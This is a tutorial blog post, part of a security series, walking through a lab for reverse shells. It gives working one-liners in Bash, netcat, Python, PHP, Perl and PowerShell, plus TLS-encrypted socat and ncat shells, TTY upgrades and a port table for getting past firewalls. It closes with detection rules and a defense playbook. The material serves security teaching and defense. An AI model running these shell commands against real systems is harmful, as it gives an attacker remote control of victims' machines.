Reverse Shells: Hands-On Lab Guide for Practitioners
Lab setup, reverse shell techniques in 7 languages, TTY upgrades, encrypted shells, and detection rules. The practical follow-up.
On this page
Ground Up: Attacker's Playbook
Part 4 of 6
View all parts
- 1The Cyber Kill Chain: How Attacks Actually Work
- 2Reconnaissance: What Attackers See Before They Strike
- 3Reverse Shells Explained: The Complete Foundation
- 4Reverse Shells: Hands-On Lab Guide for Practitioners
- 5Privilege Escalation: From User to Admin
- 6Social Engineering: Hacking Humans
This is Part 2 of the reverse shell series. If you haven’t read Part 1: The Complete Foundation, start there. It covers the concepts - what reverse shells are, why they work, and how they fit in the attack chain.
This post is all hands-on. We’re setting up a lab, running reverse shells, upgrading them, encrypting them, and then detecting them.
This tutorial is for authorized security testing, CTF competitions, and lab environments only. Everything runs in isolated VMs. Don’t use these techniques against systems you don’t own or have explicit written permission to test.
Lab Setup
You need two machines on an isolated network.
Option 1: Use an Existing Lab
If you built a detection lab, use your Kali box as the attacker and your Linux/Windows target VMs. You’re already set.
Option 2: Minimal Setup
Two VMs on a host-only or internal network.
Attacker (Kali Linux):
# Download Kali from kali.org
# Import into VirtualBox or Proxmox
# Verify tools are present
which nc ncat socat python3
Target (Ubuntu Server):
# Ubuntu 22.04+ Server
# Default install is fine
# Verify common interpreters
which bash python3 perl php
Network:
- Both VMs on the same virtual network segment
- No internet access needed
- No bridge to your host/real network
Throughout this guide:
- Attacker IP:
10.10.10.5 - Target IP:
10.10.10.10 - Replace with your actual IPs.
Verify Connectivity
# From attacker
ping -c 1 10.10.10.10
# From target
ping -c 1 10.10.10.5
If pings fail, fix your network before continuing.
The Listener
Every reverse shell needs something to catch the incoming connection. This runs on the attacker machine.
Netcat (Basic)
nc -lvnp 4444
| Flag | Purpose |
|---|---|
-l | Listen mode |
-v | Verbose output |
-n | Skip DNS resolution |
-p 4444 | Port to listen on |
You’ll see Listening on 0.0.0.0 4444 when it’s ready. Leave this running and open a separate terminal for the target commands.
Rlwrap (Better)
Wrapping netcat with rlwrap gives you command history and arrow keys:
rlwrap nc -lvnp 4444
Install it with sudo apt install rlwrap if not present.
Reverse Shell Techniques
For each technique below: start your listener first, then run the command on the target machine.
Bash
bash -i >& /dev/tcp/10.10.10.5/4444 0>&1
How it works:
bash -istarts an interactive shell>& /dev/tcp/10.10.10.5/4444redirects stdout and stderr to a TCP connection0>&1redirects stdin to the same connection
Compatibility: Bash only. Won’t work with sh, dash, or zsh. The /dev/tcp pseudo-device is a bash feature, not a real file.
Netcat (with -e)
nc -e /bin/bash 10.10.10.5 4444
The -e flag tells netcat to execute /bin/bash and pipe its I/O through the connection. Simple and clean.
Catch: Many modern distributions ship OpenBSD netcat, which removed -e for security reasons. Check with nc -h to see if your version supports it.
Netcat (without -e)
When -e isn’t available, use a named pipe:
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.10.5 4444 > /tmp/f
How it works:
- Create a FIFO (named pipe) at
/tmp/f cat /tmp/freads from the pipe (attacker’s input)- Pipes it into
bash -i(executes commands) - Bash output goes through
ncto the attacker - Attacker’s responses go back into the pipe
It’s a loop: attacker input → pipe → bash → netcat → attacker sees output.
Python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
Broken down:
import socket, subprocess, os
# Create TCP socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to attacker
s.connect(("10.10.10.5", 4444))
# Redirect stdin, stdout, stderr to the socket
os.dup2(s.fileno(), 0) # stdin
os.dup2(s.fileno(), 1) # stdout
os.dup2(s.fileno(), 2) # stderr
# Spawn interactive bash
subprocess.call(["/bin/bash", "-i"])
os.dup2() duplicates a file descriptor. We’re duplicating the socket’s file descriptor onto stdin (0), stdout (1), and stderr (2). After this, anything bash reads/writes goes through the socket.
PHP
php -r '$sock=fsockopen("10.10.10.5",4444);exec("/bin/bash -i <&3 >&3 2>&3");'
fsockopen creates the connection. The socket gets file descriptor 3 (after stdin, stdout, stderr). We redirect bash’s I/O to it.
Common on web servers where PHP is the only interpreter available.
Perl
perl -e 'use Socket;$i="10.10.10.5";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
Same pattern: create socket, connect, redirect I/O, spawn shell.
PowerShell (Windows)
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.5',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
$sendback = (iex $data 2>&1 | Out-String);
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}
$client.Close()
This one’s longer because PowerShell handles I/O differently. It reads commands from the stream, executes them with Invoke-Expression, and writes output back. The 'PS ' + (pwd).Path + '> ' gives you a prompt so you know where you are.
Upgrading to a Full TTY
Raw reverse shells are frustrating. No tab completion, no arrow keys, no job control. Ctrl+C kills your entire session instead of just the current command. Fix that.
The Upgrade Process
Once you have a basic reverse shell on a Linux target:
Step 1 - Spawn a PTY:
python3 -c 'import pty; pty.spawn("/bin/bash")'
This gives you a pseudo-terminal. Better, but still not great.
Step 2 - Background the shell:
Press Ctrl+Z. You’re back on your attacker machine.
Step 3 - Configure your terminal:
stty raw -echo; fg
stty rawputs your terminal in raw mode (passes all keystrokes directly)-echostops your terminal from echoing input (the remote shell will echo it)fgbrings the reverse shell back to the foreground
Step 4 - Set environment:
export TERM=xterm
export SHELL=bash
Now you have a fully interactive shell with:
- Arrow keys and command history
- Tab completion
- Ctrl+C works correctly
- Interactive programs (
vim,top,htop,ssh) work
Fix Terminal Dimensions
If output wraps incorrectly or programs render strangely:
# On attacker (separate terminal) - check your size
stty size
# Output: 50 200
# In the reverse shell - match it
stty rows 50 cols 200
Alternative: Script Command
If Python isn’t available:
script -qc /bin/bash /dev/null
Less reliable than the Python method, but works in a pinch.
Encrypted Reverse Shells
Plain reverse shells transmit everything in cleartext. On a real network, this means anyone sniffing traffic sees every command you run and every output. In an authorized engagement, you’re potentially exposing client data over the wire.
Use encryption.
Socat with TLS
On the attacker - generate a certificate:
openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 30 -out shell.crt -subj '/CN=test'
cat shell.key shell.crt > shell.pem
Start encrypted listener:
socat OPENSSL-LISTEN:4444,cert=shell.pem,verify=0,fork STDOUT
On the target - connect with encryption:
socat OPENSSL:10.10.10.5:4444,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane
The pty,stderr,setsid,sigint,sane flags give you a proper interactive terminal. Socat is the single best tool for reverse shells - encrypted, interactive, and stable out of the box.
Ncat with SSL
Nmap’s ncat supports SSL natively:
# Attacker
ncat --ssl -lvnp 4444
# Target
ncat --ssl 10.10.10.5 4444 -e /bin/bash
Simpler than socat, but fewer options for terminal handling.
Port Selection Strategy
In your lab, any port works. In authorized engagements, port selection matters.
| Port | Protocol | Why It Works |
|---|---|---|
| 80 | HTTP | Almost universally allowed outbound |
| 443 | HTTPS | Allowed and often not deeply inspected |
| 53 | DNS | Frequently allowed, even on locked-down networks |
| 8080 | HTTP Alt | Common proxy port, usually allowed |
| 8443 | HTTPS Alt | Allowed in many environments |
Firewalls and proxy servers may inspect traffic on these ports. An encrypted reverse shell on port 443 looks like normal HTTPS traffic to basic inspection. Deep packet inspection (DPI) can still flag it, but it raises the bar significantly.
Detecting Reverse Shells
Time to flip to the blue team. Everything you just learned to do, you now need to detect.
Network Indicators
What reverse shells look like on the wire:
| Indicator | What to Look For |
|---|---|
| Unusual outbound connections | Servers connecting to unknown IPs |
| Connection duration | Persistent connections (hours) to non-CDN IPs |
| Traffic pattern | Small, frequent, bidirectional data bursts |
| Port mismatch | Non-HTTP traffic on port 80/443 |
| Beaconing | Regular interval check-ins (C2 frameworks) |
Suricata example rule:
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"Possible reverse shell - bash /dev/tcp"; content:"/dev/tcp/"; sid:1000001; rev:1;)
Host-Based Detection
Commands to check a system for active reverse shells:
# Unusual network connections from shells
ss -tnp | grep -E '(bash|sh|python|perl|php|ruby)'
# Process trees that don't make sense
ps auxf | grep -E '(bash|sh) -i'
# Named pipes (used by netcat pipe method)
find /tmp /var/tmp /dev/shm -type p 2>/dev/null
# File descriptors pointing to sockets
ls -la /proc/*/fd 2>/dev/null | grep socket
Sysmon Rules (Windows)
Watch for these event patterns:
Process creation (Event ID 1):
cmd.exeorpowershell.exespawned byw3wp.exe,httpd.exe,java.exe- Any shell spawned by a web server or application server process
Network connection (Event ID 3):
powershell.exemaking outbound TCP connectionscmd.exewith network activity- Connections on unusual ports from unexpected processes
Auditd Rules (Linux)
# Detect outbound connections from shell processes
-a always,exit -F arch=b64 -S connect -F a0=2 -F exe=/bin/bash -k reverse_shell
-a always,exit -F arch=b64 -S connect -F a0=2 -F exe=/bin/sh -k reverse_shell
# Monitor common reverse shell tools
-w /usr/bin/nc -p x -k reverse_shell_tools
-w /usr/bin/ncat -p x -k reverse_shell_tools
-w /usr/bin/socat -p x -k reverse_shell_tools
# Detect named pipe creation in temp directories
-w /tmp -p wa -k suspicious_tmp_activity
Sigma Rules
Search the SigmaHQ repository for production-ready detection rules:
proc_creation_lnx_reverse_shellproc_creation_win_powershell_reverse_shellnet_connection_lnx_shell_outbound
Defense Playbook
Prevent
- Egress filtering - Whitelist outbound destinations. Servers should only reach what they need
- Application control - Restrict which binaries can execute on production systems
- Remove unnecessary interpreters - If a web server doesn’t need Python or Perl, remove them
- Network segmentation - Production servers shouldn’t reach arbitrary internet IPs
Detect
- Baseline normal - Know what outbound connections are expected from each server
- Monitor process trees - Web server → bash is never normal
- Watch for PTY spawning -
python -c 'import pty'is a reliable indicator of shell upgrade - Log DNS queries - Reverse shells over DNS exist and are harder to spot
Respond
If you find a reverse shell:
- Capture first - Record the network traffic before doing anything
- Identify the entry point - How did the attacker get code execution?
- Don’t just kill the process - Check for persistence mechanisms first
- Isolate the host - Remove from network, preserve evidence
- Hunt laterally - Assume the attacker moved; check adjacent systems
- Check for data exfiltration - What did they access? What might have been taken?
Quick Reference Card
| Method | Command |
|---|---|
| Bash | bash -i >& /dev/tcp/ATTACKER/PORT 0>&1 |
| NC (-e) | nc -e /bin/bash ATTACKER PORT |
| NC (pipe) | rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ATTACKER PORT >/tmp/f |
| Python | python3 -c 'import socket,subprocess,os;...' |
| PHP | php -r '$sock=fsockopen("ATTACKER",PORT);...' |
| Perl | perl -e 'use Socket;...' |
| PowerShell | $c=New-Object System.Net.Sockets.TCPClient(ATTACKER,PORT);... |
| Socat TLS | socat OPENSSL:ATTACKER:PORT,verify=0 EXEC:/bin/bash,pty,stderr |
| Ncat SSL | ncat --ssl ATTACKER PORT -e /bin/bash |
Practice Environments
Build your skills in controlled settings:
- Your own lab - Isolated VMs, no restrictions, best for learning
- HackTheBox - Machines designed for exploitation practice
- TryHackMe - Guided rooms with step-by-step reverse shell exercises
- PentesterLab - Structured vulnerability exercises
- OverTheWire (Bandit/Narnia) - Build shell fundamentals
References
- MITRE ATT&CK - T1059 Command and Scripting Interpreter
- PayloadsAllTheThings - Reverse Shell Cheatsheet
- SigmaHQ Detection Rules
- GTFOBins
Attack to understand. Defend with that understanding. The best security engineers can do both.
Related Articles
Reverse Shells Explained: The Complete Foundation
What reverse shells are, why attackers use them, how they work under the hood, and where they fit in the attack chain. The foundation before you touch a terminal.
Building Your First Security Lab
How to set up a safe, isolated environment for practicing cybersecurity skills - from a simple VM setup to a full attack-and-defend lab.
Hardening 101: Practical Steps to Secure Systems
Practical system hardening for Linux and Windows - reducing attack surface, configuring firewalls, applying least privilege, and closing the gaps attackers exploit.